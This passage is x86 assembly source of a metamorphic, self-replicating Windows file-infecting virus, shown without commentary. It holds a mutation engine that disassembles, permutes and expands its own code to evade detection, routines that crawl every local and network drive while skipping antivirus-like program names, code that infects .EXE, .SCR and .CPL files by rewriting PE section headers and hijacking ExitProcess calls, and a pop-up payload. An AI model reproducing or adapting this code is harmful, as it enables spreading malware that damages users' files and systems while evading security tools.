jnz @@EndPayload push edx xor eax, eax call Random and eax, 00202020h add eax, ' DAM' ;; "MAD " mov [edx], eax add edx, 4 call Random and eax, 00202020h add eax, ' WOC' ;; "COW " mov [edx], eax add edx, 4 call Random and eax, 20202020h add eax, 'ESID' ;; "DISE" mov [edx], eax add edx, 4 call Random and eax, 00202020h add eax, ' ESA' ;; "ASE " mov [edx], eax pop edx push eax push ecx push edx xor eax, eax push eax mov eax, edx push eax push eax xor eax, eax push eax call dword ptr [ebp+RVA_MessageBoxA] pop edx pop ecx pop eax @@EndPayload: @@NoPayload: mov esi, [ebp+_DISASM_SECTION] add esi, ebp xor eax, eax push esi @@LoopGarbleSect_01: mov ebx, eax add eax, 1 mov ecx, eax add eax, 1 mov edx, eax add eax, 1 push eax call Xp_GarbleRegisters pop eax mov [esi], ebx mov [esi+4], ecx mov [esi+8], edx add esi, 0Ch cmp eax, 6 jnz @@LoopGarbleSect_01 pop esi push esi mov ecx, 2 @@LoopGarbleSect_02: push ecx mov ebx, [esi] mov ecx, [esi+08h] mov edx, [esi+10h] call Xp_GarbleRegisters mov [esi], ebx mov [esi+08h], ecx mov [esi+10h], edx pop ecx add esi, 4 sub ecx, 1 or ecx, ecx jnz @@LoopGarbleSect_02 pop esi mov ecx, 6 xor edx, edx @@LoopGarbleSect_03: call Random and eax, 7FFFh add edx, eax mov eax, [esi] or eax, eax jz @@GarbleSect_CodeSection cmp eax, 1 jz @@GarbleSect_DisasmSection cmp eax, 2 jz @@GarbleSect_BuffersSection cmp eax, 3 jz @@GarbleSect_DataSection cmp eax, 4 jnz @@GarbleSect_Next @@GarbleSect_Disasm2Section: mov [ebp+New_DISASM2_SECTION], edx add edx, 100000h jmp @@GarbleSect_Next @@GarbleSect_CodeSection: mov [ebp+New_CODE_SECTION], edx add edx, 80000h jmp @@GarbleSect_Next @@GarbleSect_DisasmSection: mov [ebp+New_DISASM_SECTION], edx add edx, 100000h jmp @@GarbleSect_Next @@GarbleSect_BuffersSection: mov [ebp+New_BUFFERS_SECTION], edx add edx, 60000h jmp @@GarbleSect_Next @@GarbleSect_DataSection: mov [ebp+New_DATA_SECTION], edx add edx, 20000h @@GarbleSect_Next: add esi, 4 sub ecx, 1 or ecx, ecx jnz @@LoopGarbleSect_03 mov eax, [ebp+_DISASM_SECTION] add eax, ebp mov [ebp+InstructionTable], eax mov eax, [ebp+_LABEL_SECTION] add eax, ebp mov [ebp+LabelTable], eax mov eax, [ebp+_BUFFER1_SECTION] add eax, ebp mov [ebp+FutureLabelTable], eax mov eax, [ebp+_DISASM2_SECTION] add eax, ebp mov [ebp+PathMarksTable], eax mov esi, [ebp+_CODE_SECTION] add esi, ebp call DisasmCode nop mov [ebp+AddressOfLastInstruction], edi call ShrinkCode mov eax, [ebp+_VARIABLE_SECTION] add eax, ebp mov [ebp+VariableTable], eax mov eax, [ebp+_VAR_MARKS_SECTION] add eax, ebp mov [ebp+VarMarksTable], eax mov ecx, [ebp+DeltaRegister] call IdentifyVariables mov eax, [ebp+_BUFFER1_SECTION] add eax, ebp mov [ebp+FramesTable], eax mov eax, [ebp+_DISASM2_SECTION] add eax, ebp mov [ebp+PermutationResult], eax mov eax, [ebp+_BUFFER2_SECTION] add eax, ebp mov [ebp+JumpsTable], eax call PermutateCode mov eax, [ebp+PermutationResult] mov [ebp+InstructionTable], eax xor eax, eax mov [ebp+CreatingADecryptor], eax mov eax, [ebp+_DISASM_SECTION] add eax, ebp mov [ebp+ExpansionResult], eax xor eax, eax mov [ebp+SizeOfExpansion], eax call XpandCode mov eax, [ebp+ExpansionResult] mov [ebp+InstructionTable], eax mov eax, [ebp+_DISASM2_SECTION] add eax, ebp mov [ebp+NewAssembledCode], eax mov eax, [ebp+_VARIABLE_SECTION] add eax, ebp mov [ebp+NewLabelTable], eax mov eax, [ebp+_BUFFER1_SECTION] add eax, ebp mov [ebp+JumpRelocationTable], eax call AssembleCode mov eax, [ebp+_DISASM_SECTION] add eax, ebp mov [ebp+DecryptorPseudoCode], eax add eax, 80000h mov [ebp+AssembledDecryptor], eax mov eax, [ebp+_BUFFER2_SECTION] add eax, ebp mov [ebp+FindFileData], eax mov eax, [ebp+_BUFFER1_SECTION] add eax, ebp mov [ebp+OtherBuffers], eax call InfectFiles @@Error: ret Main endp ;---------------------------------------------------------------------------------------- IdentifyVariables proc mov esi, [ebp+InstructionTable] mov edi, [ebp+VariableTable] xor eax, eax mov [ebp+NumberOfVariables], eax @@LoopGetVar: xor eax, eax mov al, [esi] cmp eax, 0FCh jz @@NextInstruction call CheckIfInstructionUsesMem or eax, eax jz @@NextInstruction mov al, [esi+1] cmp eax, ecx jz @@DeltaOffsetAt1 mov al, [esi+2] cmp eax, ecx jz @@DeltaOffsetAt2 @@NextInstruction: add esi, 10h cmp esi, [ebp+AddressOfLastInstruction] jnz @@LoopGetVar jmp @@SelectNewVariables @@DeltaOffsetAt1: mov al, [esi+2] jmp @@Continue_01 @@DeltaOffsetAt2: mov al, [esi+1] @@Continue_01: cmp eax, 8 jnz @@NextInstruction mov eax, [esi+3] mov edx, [ebp+VariableTable] mov ebx, [ebp+NumberOfVariables] sub eax, [ebp+_DATA_SECTION] and eax, 0FFFFFFF8h @@LookForVariable: or ebx, ebx jz @@InsertVariable cmp eax, [edx] jz @@VariableExists add edx, 4 sub ebx, 4 jmp @@LookForVariable @@InsertVariable: mov [edx], eax mov eax, [ebp+NumberOfVariables] add eax, 4 mov [ebp+NumberOfVariables], eax @@VariableExists: mov eax, 00000809h mov [esi+1], eax mov [esi+3], edx jmp @@NextInstruction @@SelectNewVariables: mov ecx, 20000h / 4 mov edi, [ebp+VarMarksTable] xor eax, eax @@LoopInitializeMarks: mov [edi], eax add edi, 4 sub ecx, 1 or ecx, ecx jnz @@LoopInitializeMarks mov ecx, [ebp+NumberOfVariables] mov ebx, [ebp+VariableTable] @@LoopGetNewVar: call Random and eax, 01FFF8h add eax, [ebp+VarMarksTable] mov edx, [eax] or edx, edx jnz @@LoopGetNewVar mov edx, 1 mov [eax], edx sub eax, [ebp+VarMarksTable] push ebx mov ebx, eax call Random and eax, 3 add eax, ebx pop ebx mov [ebx], eax add ebx, 4 sub ecx, 4 or ecx, ecx jnz @@LoopGetNewVar ret IdentifyVariables endp ;---------------------------------------------------------------------------------------- PermutateCode proc xor eax, eax mov [ebp+NumberOfJumps], eax mov edi, [ebp+FramesTable] mov ecx, [ebp+AddressOfLastInstruction] mov eax, [ebp+InstructionTable] mov esi, eax sub ecx, eax @@NextFrame: call Random and eax, 0F0h cmp eax, 050h jb @@NextFrame add eax, 0F0h mov [edi], esi add esi, eax mov [edi+4], esi mov ebx, esi @@LoopCheckInst00: sub ebx, 10h cmp ebx, [edi] jz @@CheckInst_Next00 mov edx, [ebx] and edx, 0FFh cmp edx, 0FFh jz @@LoopCheckInst00 cmp edx, 0EAh jnz @@CheckInst_Next00 @@LoopCheckInst01: add ebx, 10h cmp ebx, [ebp+AddressOfLastInstruction] jz @@CheckInst_Next00 mov edx, [ebx] and edx, 0FFh cmp edx, 0FFh jz @@LoopCheckInst01 cmp edx, 0F6h jnz @@CheckInst_Next00 add ebx, 10h sub ebx, esi add eax, ebx add esi, ebx mov [edi+4], esi @@CheckInst_Next00: mov ebx, esi jmp @@DontAdd10hYet @@LoopCheckInst02: add ebx, 10h @@DontAdd10hYet: cmp ebx, [ebp+AddressOfLastInstruction] jz @@CheckInst_Next01 mov edx, [ebx] and edx, 0FFh cmp edx, 0FFh jz @@LoopCheckInst02 cmp edx, 0E9h jz @@CheckInst_IncludeInstruction cmp edx, 0FEh jz @@CheckInst_IncludeInstruction cmp edx, 0EBh jz @@CheckInst_IncludeInstruction cmp edx, 0EDh jz @@CheckInst_IncludeInstruction cmp edx, 70h jb @@CheckInst_Next01 cmp edx, 7Fh ja @@CheckInst_Next01 @@CheckInst_IncludeInstruction: add ebx, 10h push ebx sub ebx, esi add eax, ebx add esi, ebx mov [edi+4], esi pop ebx jmp @@DontAdd10hYet @@CheckInst_Next01: add edi, 8 sub ecx, eax cmp ecx, 01E0h jae @@NextFrame or ecx, ecx jz @@FramesCreationFinished mov [edi], esi add esi, ecx mov [edi+4], esi add edi, 8 @@FramesCreationFinished: mov [ebp+AddressOfLastFrame], edi @@TempLabel: mov eax, edi mov ebx, [ebp+FramesTable] sub eax, ebx mov ebx, 8 @@LoopCalculateMOD: shl ebx, 1 cmp ebx, eax jb @@LoopCalculateMOD sub ebx, 8 mov [ebp+MODValue], ebx mov esi, [ebp+FramesTable] mov [ebp+PositionOfFirstInstruction], esi mov edx, esi @@LoopExchange: call Random mov ebx, [ebp+MODValue] and eax, ebx add eax, esi ; ; Uncommenting this instruction the engine doesn't permutate anything ; mov eax, edx cmp eax, edi jae @@LoopExchange mov ecx, [eax] mov ebx, [edx] mov [eax], ebx mov [edx], ecx cmp edx, [ebp+PositionOfFirstInstruction] jnz @@LookEAX mov [ebp+PositionOfFirstInstruction], eax jmp @@ExchangeNext @@LookEAX: cmp eax, [ebp+PositionOfFirstInstruction] jnz @@ExchangeNext mov [ebp+PositionOfFirstInstruction], edx @@ExchangeNext: add eax, 4 add edx, 4 mov ecx, [eax] mov ebx, [edx] mov [eax], ebx mov [edx], ecx add edx, 4 cmp edx, edi jb @@LoopExchange mov esi, [ebp+InstructionTable] mov edi, [ebp+PermutationResult] mov ebx, [ebp+FramesTable] mov eax, [ebp+PositionOfFirstInstruction] cmp ebx, eax jnz @@InsertJump2 @@LoopCopyFrame: mov eax, 0FFh mov [ebp+Permut_LastInstruction], eax mov edx, [ebx] add ebx, 4 mov ecx, [ebx] add ebx, 4 @@LoopCopyInstructions: mov eax, [edx] cmp al, 4Fh jnz @@NextInstruction mov al, 51h mov [edx], eax push eax push ebx mov ebx, [edx+7] mov eax, 59h mov [ebx], al pop ebx pop eax @@NextInstruction: mov [edi], eax mov eax, [edx+4] mov [edi+4], eax mov eax, [edx+8] mov [edi+8], eax mov [edi+0Ch], edx mov [edx+0Ch], edi mov eax, [edi] and eax, 0FFh cmp eax, 0FFh jz @@NextInstruction2 @@SetLastInstruction: mov [ebp+Permut_LastInstruction], eax jmp @@NextInstruction3 @@NextInstruction2: mov eax, [edi+0Bh] and eax, 0FFh or eax, eax jnz @@SetLastInstruction @@NextInstruction3: add edi, 10h add edx, 10h cmp edx, ecx jnz @@LoopCopyInstructions mov eax, [ebp+AddressOfLastFrame] cmp ebx, eax jae @@LastFrameArrived mov eax, [ebx] cmp eax, edx jz @@LoopTestIfLastFrame @@LastFrameArrived: mov eax, [ebp+Permut_LastInstruction] cmp eax, 0E9h jz @@LoopTestIfLastFrame cmp eax, 0EBh jz @@LoopTestIfLastFrame cmp eax, 0EDh jz @@LoopTestIfLastFrame cmp eax, 0FEh jz @@LoopTestIfLastFrame mov [edi+1], edx @@InsertJump: mov eax, 0E9h mov [edi], al call InsertJumpInTable add edi, 10h @@LoopTestIfLastFrame: mov eax, [ebp+AddressOfLastFrame] cmp ebx, eax jae @@End jmp @@LoopCopyFrame @@InsertJump2: mov eax, [eax] mov [edi+1], eax jmp @@InsertJump @@End: mov [ebp+AddressOfLastInstruction], edi mov ecx, [ebp+NumberOfLabels] mov edx, [ebp+LabelTable] @@LoopUpdateLabel: mov eax, [edx+4] mov ebx, [eax+0Ch] mov [edx], ebx add edx, 8 sub ecx, 1 or ecx, ecx jnz @@LoopUpdateLabel mov ecx, [ebp+NumberOfJumps] mov ebx, [ebp+JumpsTable] jmp @@CheckNumberOfJumps @@LoopUpdateJumps: mov esi, [ebx] mov eax, [esi+1] mov edi, [eax+0Ch] mov [edx], edi mov [edx+4], eax mov [esi+1], edx mov eax, [ebp+NumberOfLabels] add eax, 1 mov [ebp+NumberOfLabels], eax add edx, 8 add ebx, 4 sub ecx, 4 @@CheckNumberOfJumps: or ecx, ecx jnz @@LoopUpdateJumps ret PermutateCode endp Random proc push edx push ecx mov eax, [ebp+RndSeed1] mov ecx, [ebp+RndSeed2] add eax, ecx call RandomMod1 xor eax, [ebp+RndSeed1] mov [ebp+RndSeed1], eax mov ecx, eax mov eax, [ebp+RndSeed2] add [ebp+RndSeed2], ecx call RandomMod2 xor eax, [ebp+RndSeed2] mov [ebp+RndSeed2], eax xor eax, [ebp+RndSeed1] call RandomMod2 pop ecx pop edx ret Random endp RandomMod1 proc mov edx, eax and edx, 1FFFh shl edx, 13h and eax, 0FFFFFE00h shr eax, 0Dh or eax, edx add eax, ecx ret RandomMod1 endp RandomMod2 proc mov edx, eax and edx, 1FFFFh shl edx, 0Fh and eax, 0FFFFE000h shr eax, 11h or eax, edx add eax, ecx ret RandomMod2 endp InsertJumpInTable proc mov ecx, [ebp+NumberOfJumps] mov edx, [ebp+JumpsTable] add edx, ecx mov [edx], edi add ecx, 4 mov [ebp+NumberOfJumps], ecx ret InsertJumpInTable endp ;---------------------------------------------------------------------------------------- InfectFiles proc call Random and eax, 3 jnz @@DontLoop @@LoopAgain: call Random and eax, 0FFh jnz @@LoopAgain @@DontLoop: xor eax, eax mov [ebp+DirectoryDeepness], eax call InfectFiles2 mov ebx, [ebp+FindFileData] add ebx, 1000h @@LoopGetDrives: xor eax, eax mov [ebp+DirectoryDeepness], eax push eax push ecx push edx mov eax, [ebp+FindFileData] add eax, 1000h push eax mov eax, 200h push eax call dword ptr [ebp+RVA_GetLogicalDriveStringsA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax jz @@Error2 push eax push ecx push edx mov eax, ebx push eax call dword ptr [ebp+RVA_GetDriveTypeA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] cmp eax, 3 jz @@InfectDrive cmp eax, 4 jnz @@NextDrive cmp eax, 6 @@InfectDrive: push eax push ecx push edx mov eax, ebx push eax call dword ptr [ebp+RVA_SetCurrentDirectoryA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax jz @@Error2 push ebx call InfectFiles2 pop ebx @@NextDrive: @@LoopFindNull: add ebx, 1 mov eax, [ebx] and eax, 0FFh or eax, eax jnz @@LoopFindNull add ebx, 1 mov eax, [ebx] and eax, 0FFh or eax, eax jnz @@LoopGetDrives @@Error2: ret InfectFiles endp InfectFiles2 proc push eax push ecx push edx mov eax, [ebp+FindFileData] push eax mov edx, [ebp+OtherBuffers] push edx mov eax, '*.*' mov [edx], eax call dword ptr [ebp+RVA_FindFirstFileA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] cmp eax, -1 jz @@Error mov [ebp+hFindFile], eax @@TouchAgain: mov edx, [ebp+FindFileData] mov eax, [edx] and eax, 10h or eax, eax jz @@TryToInfectFile mov eax, [ebp+DirectoryDeepness] cmp eax, 5 jz @@InfectNextFile mov eax, [edx+2Ch] and eax, 0FFFFFFh cmp eax, '..' jz @@InfectNextFile and eax, 0FFFFh cmp eax, '.' jz @@InfectNextFile and eax, 01Fh cmp eax, 'W' AND 1Fh jz @@InfectNextFile push eax push ecx push edx mov eax, edx add eax, 2Ch push eax call dword ptr [ebp+RVA_SetCurrentDirectoryA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax jz @@InfectNextFile mov eax, [ebp+DirectoryDeepness] add eax, 1 mov [ebp+DirectoryDeepness], eax mov eax, [ebp+hFindFile] push eax call InfectFiles2 pop eax mov [ebp+hFindFile], eax mov eax, [ebp+DirectoryDeepness] sub eax, 1 mov [ebp+DirectoryDeepness], eax mov edx, [ebp+FindFileData] mov eax, '..' mov [edx], eax push eax push ecx push edx mov eax, edx push eax call dword ptr [ebp+RVA_SetCurrentDirectoryA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax jz @@Error2 jmp @@InfectNextFile @@TryToInfectFile: xor eax, eax mov eax, 3 call Random and eax, 1 jnz @@InfectNextFile mov edx, [ebp+FindFileData] add edx, 2Ch mov eax, [edx] and eax, 1F1F1F1Fh cmp eax, 'itna' AND 1F1F1F1Fh jz @@InfectNextFile mov eax, [edx] and eax, 1F1Fh cmp eax, '-F' AND 1F1Fh jz @@InfectNextFile cmp eax, 'AP' AND 1F1Fh jz @@InfectNextFile cmp eax, 'CS' AND 1F1Fh jz @@InfectNextFile cmp eax, 'RD' AND 1F1Fh jz @@InfectNextFile cmp eax, 'ON' AND 1F1Fh jz @@InfectNextFile cmp eax, 'EI' AND 1F1Fh jz @@InfectNextFile cmp eax, 'XE' AND 1F1Fh jz @@InfectNextFile cmp eax, 'OW' AND 1F1Fh jz @@InfectNextFile mov ebx, edx @@LoopFindExtension: mov eax, [ebx] and eax, 01Fh cmp eax, 'V' AND 1Fh jz @@InfectNextFile cmp eax, '0' AND 1Fh or eax, eax jz @@CheckExtension add ebx, 1 jmp @@LoopFindExtension @@CheckExtension: mov eax, [ebx-4] and eax, 1F1F1FFFh cmp eax, 'EXE.' AND 1F1F1FFFh jz @@InfectFile cmp eax, 'RCS.' AND 1F1F1FFFh jz @@InfectFile cmp eax, 'TAD.' AND 1F1F1FFFh jz @@InfectFile cmp eax, 'LVO.' AND 1F1F1FFFh jz @@InfectFile cmp eax, 'LPC.' AND 1F1F1FFFh jnz @@InfectNextFile @@InfectFile: call TouchFile @@InfectNextFile: push eax push ecx push edx mov eax, [ebp+FindFileData] push eax mov eax, [ebp+hFindFile] push eax call dword ptr [ebp+RVA_FindNextFileA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax jnz @@TouchAgain @@Error2: push eax push ecx push edx mov eax, [ebp+hFindFile] push eax call dword ptr [ebp+RVA_FindClose] pop edx pop ecx pop eax @@Error: ret InfectFiles2 endp PrepareFile proc mov eax, [ebp+MappingAddress] mov ebx, [eax] and ebx, 0FFFFh cmp ebx, 0+'ZM' jnz @@Error mov ebx, [eax+18h] and ebx, 0FFh cmp ebx, 40h jnz @@Error mov ebx, [eax+3Ch] add ebx, eax mov ecx, [ebx] cmp ecx, 0+'EP' jnz @@Error mov [ebp+HeaderAddress], ebx mov ecx, [ebx+58h] or ecx, ecx jnz @@Error mov ecx, [ebx+4] and ecx, 0FFFFh cmp ecx, 014Ch jz @@IA32 @@IA32: mov ecx, [ebx+6] and ecx, 0FFFFh mov edx, [ebx+14h] and edx, 0FFFFh add edx, 18h add edx, ebx mov [ebp+StartOfSectionHeaders], edx xor eax, eax mov [ebp+RelocHeader], eax mov [ebp+TextHeader], eax mov [ebp+DataHeader], eax @@LoopSections: mov eax, [edx] mov esi, [edx+4] cmp eax, 'ler.' jnz @@LookForCode cmp esi, 0+'co' jnz @@NextSection mov [ebp+RelocHeader], edx jmp @@NextSection @@LookForCode: cmp eax, 'xet.' jnz @@LookForCode2 cmp esi, 0+'t' jnz @@NextSection mov [ebp+TextHeader], edx jmp @@NextSection @@LookForCode2: cmp eax, 'EDOC' jnz @@LookForData or esi, esi jnz @@NextSection mov [ebp+TextHeader], edx jmp @@NextSection @@LookForData: cmp eax, 'tad.' jnz @@LookForData2 cmp esi, 0+'a' jnz @@NextSection mov [ebp+DataHeader], edx jmp @@NextSection @@LookForData2: cmp eax, 'ATAD' jnz @@LookForData3 or esi, esi jnz @@NextSection mov [ebp+DataHeader], edx jmp @@NextSection @@LookForData3: @@NextSection: mov [ebp+LastHeader], edx add edx, 28h dec ecx or ecx, ecx jnz @@LoopSections xor eax, eax mov [ebp+ExitProcessAddress], eax mov [ebp+VirtualAllocAddress], eax mov [ebp+GetProcAddressAddress], eax mov [ebp+GetModuleHandleAddress], eax mov eax, [ebp+TextHeader] or eax, eax jz @@Error mov eax, [ebp+DataHeader] or eax, eax jz @@Error mov eax, [ebp+RelocHeader] or eax, eax jz @@NoRelocs mov eax, 3 call Random and eax, 3 jz @@NoRelocs2 mov eax, [ebp+RelocHeader] cmp eax, [ebp+LastHeader] jnz @@Error mov eax, 1 mov [ebp+MakingFirstHole], eax mov esi, [ebp+TextHeader] mov ecx, 2000h call UpdateHeaders mov [ebp+RVA_TextHole], edi mov [ebp+Phys_TextHole], eax mov [ebp+TextHoleSize], ecx mov eax, [ebp+ExitProcessAddress] or eax, eax jz @@Error mov eax, [ebp+GetProcAddressAddress] or eax, eax jz @@Error mov eax, [ebp+GetModuleHandleAddress] or eax, eax jz @@Error mov ebx, [ebp+HeaderAddress] add [ebx+1Ch], ecx add [ebp+FileSize], ecx xor eax, eax mov [ebp+MakingFirstHole], eax mov esi, [ebp+DataHeader] mov ecx, [ebp+RoundedSizeOfNewCode] call UpdateHeaders mov [ebp+RVA_DataHole], edi mov [ebp+Phys_DataHole], eax mov ebx, [ebp+HeaderAddress] mov eax, [ebp+ExitProcessAddress] add eax, [ebx+34h] mov [ebp+ExitProcessAddress], eax mov eax, [ebp+GetProcAddressAddress] add eax, [ebx+34h] mov [ebp+GetProcAddressAddress], eax mov eax, [ebp+GetModuleHandleAddress] add eax, [ebx+34h] mov [ebp+GetModuleHandleAddress], eax mov eax, [ebp+VirtualAllocAddress] or eax, eax jz @@DontAddBaseAddress add eax, [ebp+34h] mov [ebp+VirtualAllocAddress], eax @@DontAddBaseAddress: add [ebx+20h], ecx add [ebp+FileSize], ecx mov esi, [ebp+RelocHeader] mov eax, [esi+0Ch] mov [ebx+50h], eax mov edi, [esi+14h] mov ecx, [ebp+FileSize] sub ecx, edi mov [ebp+FileSize], edi add edi, [ebp+MappingAddress] xor eax, eax @@Loop0: call Random and eax, 0FCh mov [edi], eax add edi, 4 sub ecx, 4 or ecx, ecx jnz @@Loop0 xor eax, eax mov ecx, 28h @@Loop1: mov [esi], eax add esi, 4 sub ecx, 4 or ecx, ecx jnz @@Loop1 mov [ebx+0A0h], eax mov [ebx+0A4h], eax mov eax, [ebx+06h] sub eax, 1 mov [ebx+06h], eax mov eax, [ebx+16h] or eax, 1 mov [ebx+16h], eax mov eax, 2000h mov [ebp+MaxSizeOfDecryptor], eax xor eax, eax ret @@Error: mov eax, 1 ret @@NoRelocs2: xor eax, eax mov [ebp+RelocHeader], eax @@NoRelocs: xor ecx, ecx mov edx, -1 call UpdateImports mov ecx, [ebp+HeaderAddress] mov eax, [ebp+ExitProcessAddress] or eax, eax jz @@Error add eax, [ecx+34h] mov [ebp+ExitProcessAddress], eax mov eax, [ebp+GetProcAddressAddress] or eax, eax jz @@Error add eax, [ecx+34h] mov [ebp+GetProcAddressAddress], eax mov eax, [ebp+GetModuleHandleAddress] or eax, eax jz @@Error add eax, [ecx+34h] mov [ebp+GetModuleHandleAddress], eax mov eax, [ebp+VirtualAllocAddress] or eax, eax jz @@NoVirtualAlloc add eax, [ecx+34h] mov [ebp+VirtualAllocAddress], eax @@NoVirtualAlloc: xor eax, eax call Random and eax, 07h jz @@HoleAtLastSection mov ebx, [ebp+TextHeader] mov eax, [ebx+10h] cmp eax, [ebx+08h] jae @@CheckPaddingSpace add eax, [ebx+14h] mov [ebp+Phys_TextHole], eax mov eax, [ebx+10h] add eax, [ebx+0Ch] mov [ebp+RVA_TextHole], eax mov eax, [ebx+08h] sub eax, [ebx+10h] cmp eax, 600h jb @@HoleAtLastSection cmp eax, 80000000h ja @@Error cmp eax, 2000h jbe @@TextHoleSizeOK mov eax, 2000h @@TextHoleSizeOK: mov [ebp+MaxSizeOfDecryptor], eax mov edx, ebx mov ecx, [ebp+LastHeader] @@LoopAddPhysicalSize: cmp edx, ebx jz @@NextAddPhysicalSize add [edx+14h], eax @@NextAddPhysicalSize: cmp edx, ecx jz @@EndAddPhysicalSize add edx, 28h jmp @@LoopAddPhysicalSize @@EndAddPhysicalSize: mov edx, [ebp+MappingAddress] mov edi, edx add edx, [ebx+14h] add edx, [ebx+10h] add edi, [ebp+FileSize] mov esi, edi add edi, eax add [ebx+10h], eax mov eax, 2000h add [ebp+FileSize], eax @@LoopMakePhysicalHole: call Random and eax, 0FCh sub edi, 4 sub esi, 4 mov eax, [esi] mov [edi], eax cmp edi, edx jnz @@LoopMakePhysicalHole jmp @@TextHoleMade @@HoleAtLastSection: mov ebx, [ebp+LastHeader] mov eax, [ebx+08h] add eax, [ebx+0Ch] mov [ebp+RVA_TextHole], eax mov eax, [ebx+08h] add eax, [ebx+14h] mov [ebp+Phys_TextHole], eax mov eax, 2000h mov [ebp+MaxSizeOfDecryptor], eax add [ebx+08h], eax add [ebx+10h], eax add [ebp+FileSize], eax mov eax, [ebx+24h] and eax, 0FDFFFFFFh mov [ebx+24h], eax jmp @@GetDataHole @@CheckPaddingSpace: mov eax, [ebx+08h] add eax, [ebx+0Ch] mov [ebp+RVA_TextHole], eax mov eax, [ebx+08h] add eax, [ebx+14h] mov [ebp+Phys_TextHole], eax mov eax, [ebx+10h] sub eax, [ebx+08h] mov [ebp+MaxSizeOfDecryptor], eax cmp eax, 400h jb @@HoleAtLastSection mov ecx, eax mov eax, [ebx+10h] add eax, [ebx+0Ch] cmp eax, [ebx+28h+0Ch] ja @@Error add [ebx+08h], ecx @@TextHoleMade: mov ecx, [ebp+MaxSizeOfDecryptor] mov edi, [ebp+Phys_TextHole] add edi, [ebp+MappingAddress] xor eax, eax and ecx, 0FFFFFFFCh @@LoopFillHole: call Random and eax, 0FCh mov [edi], eax add edi, 4 sub ecx, 4 or ecx, ecx jnz @@LoopFillHole mov eax, [ebx+08h] mov esi, [ebp+HeaderAddress] mov [esi+1Ch], eax @@GetDataHole: mov ebx, [ebp+LastHeader] mov eax, [ebp+RoundedSizeOfNewCode] add [ebp+FileSize], eax mov ecx, [ebx+24h] and ecx, 80000000h or ecx, ecx jnz @@Error mov ecx, [ebx+10h] add ecx, [ebx+14h] mov [ebp+Phys_DataHole], ecx mov ecx, [ebx+10h] add ecx, [ebx+0Ch] mov [ebp+RVA_DataHole], ecx add eax, [ebx+10h] mov [ebx+10h], eax mov [ebx+08h], eax @@AllHolesPrepared: mov esi, [ebp+HeaderAddress] mov eax, [ebx+0Ch] add eax, [ebx+08h] mov [esi+50h], eax mov edx, [ebp+ExitProcessAddress] mov ebx, [ebp+TextHeader] mov esi, [ebx+14h] add esi, [ebp+MappingAddress] mov ecx, [ebx+10h] sub ecx, 6 @@LoopFindExitProcess: mov eax, [esi] and eax, 0FFh cmp eax, 0FFh jnz @@NextInstruction mov eax, [esi+1] and eax, 0FFh cmp eax, 25h jz @@JMPMemFound cmp eax, 15h jnz @@NextInstruction @@JMPMemFound: mov eax, [esi+2] cmp eax, edx jnz @@NextInstruction add esi, 2 push edx mov edx, [ebp+HeaderAddress] mov edx, [edx+34h] add edx, [ebp+RVA_TextHole] call PatchExitProcess pop edx add esi, 4 @@NextInstruction: add esi, 1 sub ecx, 1 or ecx, ecx jnz @@LoopFindExitProcess xor eax, eax ret PrepareFile endp TouchFile proc mov [ebp+Addr_FilePath], edx push eax push ecx push edx push edx call dword ptr [ebp+RVA_GetFileAttributesA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] cmp eax, -1 jz @@Error_ mov [ebp+FileAttributes], eax push eax push ecx push edx push 80h mov eax, [ebp+Addr_FilePath] push eax call dword ptr [ebp+RVA_SetFileAttributesA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax jz @@Error_ push eax push ecx push edx push 0 push 0 push 3 push 0 push 0 push 0C0000000h push edx call dword ptr [ebp+RVA_CreateFileA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] cmp eax, -1 jz @@Error mov [ebp+hFile], eax push eax push ecx push edx push 0 push eax call dword ptr [ebp+RVA_GetFileSize] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax jz @@Error2 mov [ebp+FileSize], eax mov [ebp+OriginalFileSize], eax push eax push ecx push edx push 0 add eax, [ebp+RoundedSizeOfNewCode] add eax, 2000h push eax push 0 push 4 push 0 mov eax, [ebp+hFile] push eax call dword ptr [ebp+RVA_CreateFileMappingA] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax jz @@Error2 mov [ebp+hMapping], eax push eax push ecx push edx push 0 push 0 push 0 push 0F001Fh push eax call dword ptr [ebp+RVA_MapViewOfFile] mov [ebp+ReturnValue], eax pop edx pop ecx pop eax mov eax, [ebp+ReturnValue] or eax, eax jz @@Error3 mov dword ptr [ebp+MappingAddress], eax xor eax, eax mov [ebp+NumberOfUndoActions], eax call PrepareFile or eax, eax jnz @@Error4 mov ebx, [ebp+MappingAddress] add ebx, [ebp+Phys_TextHole] mov ecx, [ebp+MaxSizeOfDecryptor] cmp ecx, 600h jbe @@SetSizeOfExpansionTo0 mov eax, 1 call Random and eax, 1 jz @@SetSizeOfExpansionTo0 mov eax, -1 jmp @@SetSizeOfExpansion @@SetSizeOfExpansionTo0: mov eax, 2 call Random and eax, 1 jz @@SetSizeOfExpansionTo1 xor eax, eax jmp @@SetSizeOfExpansion @@SetSizeOfExpansionTo1: mov eax, 1 @@SetSizeOfExpansion: mov [ebp+SizeOfExpansion], eax @@CheckWithOtherSizeOfExpansion: mov ecx, 9 @@GenerateOther: push ecx mov edi, [ebp+DecryptorPseudoCode] mov eax, [ebp+VirtualAllocAddress] push eax call MakeDecryptor pop eax mov [ebp+VirtualAllocAddress], eax pop ecx sub ecx, 1 mov eax, [ebp+SizeOfDecryptor] cmp eax, [ebp+MaxSizeOfDecryptor] jbe @@SizeOfDecryptorOK or ecx, ecx jnz @@GenerateOther mov eax, [ebp+SizeOfExpansion] cmp eax, 2 jz @@InsertExitProcess add eax, 1 mov [ebp+SizeOfExpansion], eax jmp @@CheckWithOtherSizeOfExpansion 